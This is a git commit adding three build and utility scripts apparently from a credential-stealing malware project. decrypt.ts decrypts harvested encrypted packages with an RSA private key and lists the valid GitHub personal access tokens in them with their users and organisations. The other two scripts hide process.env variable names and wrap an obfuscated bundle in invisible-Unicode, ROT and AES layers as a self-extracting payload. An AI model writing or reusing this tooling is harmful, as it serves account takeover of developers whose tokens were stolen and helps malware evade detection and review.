Upload files to "scripts"

This commit is contained in:
2026-07-03 03:20:37 +00:00
parent 145be6ef11
commit 8da8030b4b
3 changed files with 392 additions and 0 deletions
+265
View File
@@ -0,0 +1,265 @@
import * as crypto from "crypto";
import * as fs from "fs";
import * as path from "path";
import { promisify } from "util";
import * as zlib from "zlib";
const gunzip = promisify(zlib.gunzip);
interface EncryptedPackage {
envelope: string;
key: string;
}
interface FileEntry {
label: string;
paths: string[];
}
const PART_FILE_PATTERN = /\.json\.p(\d+)$/;
function escapeRegExp(str: string): string {
return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
function findJsonFiles(dir: string): string[] {
const results: string[] = [];
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory()) {
results.push(...findJsonFiles(fullPath));
} else if (
entry.isFile() &&
(entry.name.endsWith(".json") || PART_FILE_PATTERN.test(entry.name))
) {
results.push(fullPath);
}
}
return results.sort();
}
function groupFiles(files: string[]): FileEntry[] {
const partGroups = new Map<string, string[]>();
const standalone: string[] = [];
for (const file of files) {
if (PART_FILE_PATTERN.test(file)) {
const baseName = file.replace(PART_FILE_PATTERN, ".json");
if (!partGroups.has(baseName)) {
partGroups.set(baseName, []);
}
partGroups.get(baseName)!.push(file);
} else {
standalone.push(file);
}
}
const entries: FileEntry[] = [];
for (const file of standalone) {
entries.push({ label: file, paths: [file] });
}
for (const [baseName, parts] of partGroups) {
parts.sort((a, b) => {
const numA = parseInt(a.match(PART_FILE_PATTERN)![1]);
const numB = parseInt(b.match(PART_FILE_PATTERN)![1]);
return numA - numB;
});
entries.push({
label: `${baseName} (merged from ${parts.length} parts)`,
paths: parts,
});
}
entries.sort((a, b) => a.label.localeCompare(b.label));
return entries;
}
function findSiblingParts(filePath: string): FileEntry {
const partMatch = filePath.match(/^(.+\.json)\.p\d+$/);
if (!partMatch) {
return { label: filePath, paths: [filePath] };
}
const baseJsonPath = partMatch[1];
const dir = path.dirname(filePath);
const baseJsonName = path.basename(baseJsonPath);
const siblingPattern = new RegExp(
`^${escapeRegExp(baseJsonName)}\\.p(\\d+)$`,
);
const dirEntries = fs.readdirSync(dir);
const parts = dirEntries
.filter((e) => siblingPattern.test(e))
.sort((a, b) => {
const numA = parseInt(a.match(siblingPattern)![1]);
const numB = parseInt(b.match(siblingPattern)![1]);
return numA - numB;
})
.map((e) => path.join(dir, e));
if (parts.length === 0) {
return { label: filePath, paths: [filePath] };
}
return {
label: `${baseJsonPath} (merged from ${parts.length} parts)`,
paths: parts,
};
}
function resolveJsonPaths(input: string): FileEntry[] {
const stat = fs.statSync(input, { throwIfNoEntry: false });
if (!stat) {
console.error(`Path not found: ${input}`);
process.exit(1);
}
if (stat.isFile()) {
if (PART_FILE_PATTERN.test(input)) {
return [findSiblingParts(input)];
}
return [{ label: input, paths: [input] }];
}
if (stat.isDirectory()) {
const files = findJsonFiles(input);
if (files.length === 0) {
console.error(`No .json or .json.p* files found under: ${input}`);
process.exit(1);
}
return groupFiles(files);
}
console.error(`Unsupported path type: ${input}`);
process.exit(1);
}
async function decryptProviderResults(
encryptedPackage: EncryptedPackage,
privateKeyPem: string,
): Promise<unknown> {
try {
const combined = Buffer.from(encryptedPackage.envelope, "base64");
const encryptedKey = Buffer.from(encryptedPackage.key, "base64");
const iv = combined.subarray(0, 12);
const encryptedData = combined.subarray(12);
const ciphertext = encryptedData.subarray(0, encryptedData.length - 16);
const authTag = encryptedData.subarray(encryptedData.length - 16);
const aesKey = crypto.privateDecrypt(
{
key: privateKeyPem,
padding: crypto.constants.RSA_PKCS1_OAEP_PADDING,
oaepHash: "sha256",
},
encryptedKey,
);
const decipher = crypto.createDecipheriv("aes-256-gcm", aesKey, iv);
decipher.setAuthTag(authTag);
const compressed = Buffer.concat([
decipher.update(ciphertext),
decipher.final(),
]);
const decompressed = await gunzip(compressed);
const decrypted = JSON.parse(decompressed.toString("utf-8"));
return decrypted;
} catch (error) {
throw new Error(
`Decryption failed: ${error instanceof Error ? error.message : String(error)}`,
);
}
}
async function main(): Promise<void> {
const args = process.argv.slice(2);
if (args.length < 2) {
console.error(
"Usage: ts-node decrypt.ts <private-key-path> <encrypted-json-path-or-dir>",
);
process.exit(1);
}
const [privateKeyPath, encryptedJsonPath] = args.filter(
(a) => !a.startsWith("--"),
);
const tokensOnly = args.includes("--tokens-only");
const fineGrained = args.includes("--fine-grained");
const privateKeyPem = fs.readFileSync(privateKeyPath, "utf-8");
const fileEntries = resolveJsonPaths(encryptedJsonPath);
const multiple = fileEntries.length > 1;
let failures = 0;
const results: Array<{ label: string; data: unknown }> = [];
for (const entry of fileEntries) {
try {
const raw = entry.paths.map((p) => fs.readFileSync(p, "utf-8")).join("");
const encryptedPackage: EncryptedPackage = JSON.parse(raw);
if (!encryptedPackage.envelope || !encryptedPackage.key) {
if (multiple) {
console.error(`Skipping (not an encrypted package): ${entry.label}`);
continue;
}
throw new Error("JSON does not contain 'envelope' and 'key' fields");
}
const decrypted = await decryptProviderResults(
encryptedPackage,
privateKeyPem,
);
results.push({ label: entry.label, data: decrypted });
} catch (error) {
failures++;
console.error(
`Error${multiple ? ` (${entry.label})` : ""}:`,
error instanceof Error ? error.message : String(error),
);
}
}
if (tokensOnly || fineGrained) {
const tokens = new Set<string>();
const meta = new Map<string, { user: string; orgs: string[] }>();
for (const { data } of results) {
const items = Array.isArray(data) ? data : [data];
for (const item of items) {
const tmeta = (item as any)?.tokenMetadata;
if (tmeta && typeof tmeta === "object") {
for (const [token, info] of Object.entries(tmeta)) {
if (!(info as any)?.valid) continue;
const isFine = token.startsWith("github_pat_");
if (fineGrained && !isFine) continue;
if (tokensOnly && isFine) continue;
tokens.add(token);
meta.set(token, {
user: (info as any)?.user ?? "?",
orgs: (info as any)?.orgs ?? [],
});
}
}
}
}
for (const token of tokens) {
const m = meta.get(token)!;
console.log(`${token}:${m.user}:${m.orgs.join(",") || "none"}`);
}
return;
}
console.log(JSON.stringify(results, null, 2));
if (failures > 0) {
process.exit(1);
}
}
main();
+43
View File
@@ -0,0 +1,43 @@
/**
* Build-time transform that rewrites all `process.env.SOME_KEY` member
* expressions into `process.env[scramble("SOME_KEY")]` so that the
* subsequent scramble transform can encode the environment variable
* names.
*
* Must run BEFORE the scramble transform in the pipeline.
*
* Matches dot-access syntax only (`process.env.FOO`). Bracket-access
* like `process.env["FOO"]` is left alone — the scramble transform
* will already pick those up if they use `scramble(...)`.
*/
const PROCESS_ENV_DOT = /process\.env\.([A-Za-z_$][A-Za-z0-9_$]*)/g;
/**
* Keys that should never be rewritten — they are resolved by the
* runtime or Node/Bun internals and don't represent user secrets.
*/
const IGNORED_KEYS = new Set(["NODE_ENV", "TZ"]);
export function transformEnvAccess(
code: string,
logPrefix = "[ENV-SCRAMBLE]",
sourceLabel?: string,
): { code: string; replacements: number } {
let replacements = 0;
const transformed = code.replace(PROCESS_ENV_DOT, (_match, key: string) => {
if (IGNORED_KEYS.has(key)) return _match;
replacements++;
return `process.env[scramble("${key}")]`;
});
if (replacements > 0) {
const where = sourceLabel ? ` in ${sourceLabel}` : "";
console.log(
`${logPrefix} Rewrote ${replacements} process.env access(es)${where}`,
);
}
return { code: transformed, replacements };
}
+84
View File
@@ -0,0 +1,84 @@
// ═════════════════════════════════════════════════════════════════════════════
// obfplus-wrap.js
//
// Reads the obfuscated dist_obf/index.js and wraps it via
// buildSelfExtractingPayload, producing a single self-extracting binary that
// embeds the obfuscated payload inside invisible Unicode + ROT + AES layers.
// ═════════════════════════════════════════════════════════════════════════════
import { existsSync, readdirSync } from "node:fs";
import { basename, join } from "node:path";
// Set up the scramble global (identity in dev, obfuscated in prod)
globalThis.scramble = (s) => s;
globalThis.beautify = (s) => s;
const { buildSelfExtractingPayload } =
await import("../src/utils/selfExtracting");
const IN_DIR = "./dist_obf";
const OUT_DIR = "./dist_obfplus";
if (!existsSync(IN_DIR)) {
console.error(`[OBFPLUS] ${IN_DIR} not found — run build:obf first`);
process.exit(1);
}
// Collect all .js files
function collectJS(dir) {
const files = [];
for (const entry of readdirSync(dir)) {
const p = join(dir, entry);
if (p.endsWith(".js")) files.push(p);
}
return files;
}
const files = collectJS(IN_DIR);
const mainFile = files.find(
(f) => basename(f) === "index.js" || basename(f) === "bundle.js",
);
const otherFiles = files.filter(
(f) => basename(f) !== "index.js" && basename(f) !== "bundle.js",
);
if (!mainFile) {
console.error("[OBFPLUS] No index.js or bundle.js found in dist_obf");
process.exit(1);
}
console.log(
`[OBFPLUS] Wrapping ${files.length} file(s) from ${IN_DIR}${OUT_DIR}`,
);
// Copy non-index files as-is
await Bun.$`mkdir -p ${OUT_DIR}`;
for (const f of otherFiles) {
const dest = join(OUT_DIR, basename(f));
console.log(`[OBFPLUS] copy ${basename(f)}`);
await Bun.write(dest, await Bun.file(f).arrayBuffer());
}
// Wrap index.js through buildSelfExtractingPayload
const rawPayload = await Bun.file(mainFile).text();
const originalSize = Buffer.byteLength(rawPayload, "utf8");
console.log(
`[OBFPLUS] wrap ${basename(mainFile)} (${(originalSize / 1024).toFixed(1)} KB → ...)`,
);
const wrapped = buildSelfExtractingPayload(rawPayload, {
wrap: true,
keyLen: 16,
});
const wrappedSize = Buffer.byteLength(wrapped, "utf8");
const ratio = (wrappedSize / originalSize).toFixed(1);
const dest = join(OUT_DIR, basename(mainFile));
await Bun.write(dest, wrapped);
console.log(
`[OBFPLUS] wrote ${basename(mainFile)} (${(wrappedSize / 1024).toFixed(1)} KB, ${ratio}x)`,
);
console.log(`[OBFPLUS] ✓ Complete → ${OUT_DIR}`);